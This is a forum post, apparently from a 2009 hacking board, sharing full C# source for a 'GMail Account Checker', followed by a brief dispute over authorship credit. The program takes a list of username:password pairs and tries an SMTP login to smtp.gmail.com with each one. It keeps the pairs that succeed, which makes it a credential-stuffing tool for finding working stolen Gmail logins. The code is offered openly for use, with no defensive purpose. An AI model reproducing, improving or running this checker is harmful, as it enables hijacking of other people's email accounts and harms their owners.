[C#] GMail Account Checker

[Nytro]

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Collections;
using System.IO;

namespace GMailCheck
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                if(textBox1.Text == "") MessageBox.Show("list is empty");

                ArrayList mails = new ArrayList(textBox1.Text.Split('\n')); //seperate them by new lines
                for (int i = 0; i < mails.Count; i++)
                {
                    ArrayList mailInfo = new ArrayList(mails[i].ToString().Split(':'));
                    if (!mailInfo[0].ToString().EndsWith("@gmail.com")) mailInfo[0] = mailInfo[0] + "@gmail.com";

                    if (checkAccount(mailInfo[0].ToString(), mailInfo[1].ToString()))
                    {
                        textBox2.Text += mailInfo[0].ToString() + ":" + mailInfo[1].ToString() + "\r\n";
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }

        static bool checkAccount(string username, string password)
        {
            //we use fake emails so nobody recieves the email, if you want a email when
            //the correct login is found, supply your email address
            MailMessage msg = new MailMessage();
            msg.From = new MailAddress("Wefwqefwef@sdfsddf.com");//fake email
            msg.To.Add("Asfasdf@ssdfs.com");//fake email
            msg.Subject = "test";
            msg.Body = "test";

            SmtpClient smtp = new SmtpClient("smtp.gmail.com");
            smtp.Credentials = new NetworkCredential(username, password);
            smtp.EnableSsl = true;

            try
            {
                smtp.Send(msg);
                return true;
            } catch(Exception ex)
            {
                return false;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
            try
            {
                openFileDialog1.ShowDialog();
                StreamReader read = new StreamReader(openFileDialog1.FileName);
                while (!read.EndOfStream)
                {
                    textBox1.Text += read.ReadLine() + "\r\n";
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
    }
}

Credits: sunjester

Edited September 2, 2009 by Nytro

[sunjester]

credits: sunjester

[Nytro]

Sorry, where I found it wasn't specified any author.